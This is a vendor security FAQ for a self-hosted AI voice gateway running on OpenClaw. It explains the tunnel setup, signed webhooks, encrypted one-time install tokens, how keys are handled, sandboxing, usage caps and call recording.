Security FAQ

On your server. The voice gateway runs on your OpenClaw instance - not on ours. Call audio, transcripts, and customer conversations stay on your machine.

We do not have access to your server, we do not receive live call audio, and we do not store transcripts or conversation content. Audio flows directly between your gateway and the phone network - it never passes through our servers.

We do store call metadata we need for billing and your dashboard: caller and called numbers, direction, duration, timing, and cost per call. Recording behavior is covered separately below.

No. The gateway listens on localhost only - it's not reachable from outside your machine. All external traffic flows through an outbound-only encrypted Cloudflare tunnel. You don't need to open inbound ports or configure firewall rules.

Cloudflare handles DDoS protection at the edge before anything reaches your instance. Internal diagnostic endpoints are blocked from tunnel traffic entirely - they're only accessible from the machine itself.

Every inbound event from the phone network is verified using Ed25519 digital signatures with replay protection, so captured events cannot be re-sent later. If the signing key is missing or invalid, the gateway rejects all webhooks - it fails closed, not open.

The system fails closed by default. If the webhook signing key is missing, webhooks are rejected. The platform also refuses to generate install tokens without the signing key configured, so an insecure deployment can't ship silently.

No. The real-time audio stream for every call is authenticated with a one-time token that's tied to that specific call. Once the call ends, the token is useless - it can't be reused, replayed, or redirected to another session.

Through a one-time encrypted install token. The token is encrypted with AES-256-GCM, can only be used once, expires in 15 minutes, and is permanently deleted from our systems after you redeem it. Only audit metadata is retained.

No. In BYOK (bring-your-own-key) mode, your voice API key is validated once in the dashboard, encrypted into a single-use install token (AES-256-GCM, 15-minute expiry), and delivered directly to your gateway. After redemption the token is permanently deleted from our systems - the raw key lives only on your server's .env file from that point on.

The companion agent secret (used by our platform to authenticate heartbeat and webhook reports from your gateway) is stored on our side only as a SHA-256 hash. We never see the raw value after you receive it.

Never. It runs under your OpenClaw service user with strict systemd sandboxing: no privilege escalation, read-only system directories, isolated temp space, and no core dumps.

No. API keys never flow through the Cloudflare tunnel at all. The tunnel is one-way inbound only - it carries call webhooks and voice media from the phone network into your gateway. Your voice API key (BYOK mode) lives in your gateway's local .env and is used only for outbound calls to the voice AI provider. The telephony API key (platform mode) stays in our hardware-backed vault and is proxied through our signaling function. Neither key ever traverses the tunnel.

The cloudflared process itself is also forked by the installer before any secrets are exported to the environment, so the tunnel process holds no API keys in memory even on your own server.

What Cloudflare can see as tunnel traffic transits its edge: call-event metadata (caller number, called number, timestamps, call IDs) and the live audio media stream. HTTPS is terminated at the Cloudflare edge before being re-encrypted to your gateway through the tunnel - this is the same visibility any service using Cloudflare Tunnels has. Cloudflare does not store HTTPS traffic by default. A direct-to-origin option (no Cloudflare in the media path) is on the roadmap for customers who need stronger media isolation.

No. The telephony provider API key stays in a hardware-backed secret vault run by one of the major cloud providers, on our infrastructure. When your gateway needs to control a call, it sends an authenticated request to our signaling proxy, which validates your identity, applies rate limits, and makes the call on your behalf.

A compromised gateway cannot extract the API key or control another customer's phone number.

No. Our platform enforces strict allowlists on every request your gateway makes. Tunnel hostnames have to end in an approved domain, the audio stream has to match the tunnel registered for your deployment, and every call is locked to the deployment that created it.

A tampered gateway can't reroute traffic to an attacker, exfiltrate audio, or touch another customer's calls.

Every deployment has per-day and per-month minute caps enforced on our side, independent of your gateway. If anything starts placing more calls than expected, the caps halt it quickly. We also cross-check the call durations your gateway reports against the phone network's own records, so a tampered gateway can't under-report usage.

Every binary and bundle is SHA-256 verified before anything runs on your server. The skill bundle is additionally scanned for path traversal and symlink attacks before extraction.

The installer never evaluates token fields as shell commands. Each field is strictly validated against an allowlist before it touches any shell context, and the command-line wrapper accepts only a fixed set of subcommands - so even a tampered token can't smuggle arbitrary commands into your server.

Recording is on by default so you can review calls from your dashboard right away. The MP3 file is captured by the phone provider and placed in our secure storage, then played back only through your authenticated dashboard session - only you can access it. Not us, not any third party.

You can turn recording off at any time. When it's off, no audio recording is kept on our servers. Local text transcripts are still saved on your server (in the transcripts/ folder) for your own review. Direct storage to your own bucket is coming in a future release.

No. The installer will never create users, add SSH keys, open firewall ports, install telemetry, inject cron jobs, or send usage data. It creates a systemd service (or macOS LaunchAgent) to keep the gateway running, but otherwise only writes to the install directory and the OpenClaw workspace.

Your calls run on your server, through your tunnel, under your control. We built every layer with the assumption that attackers will try - and designed it so they can't get in.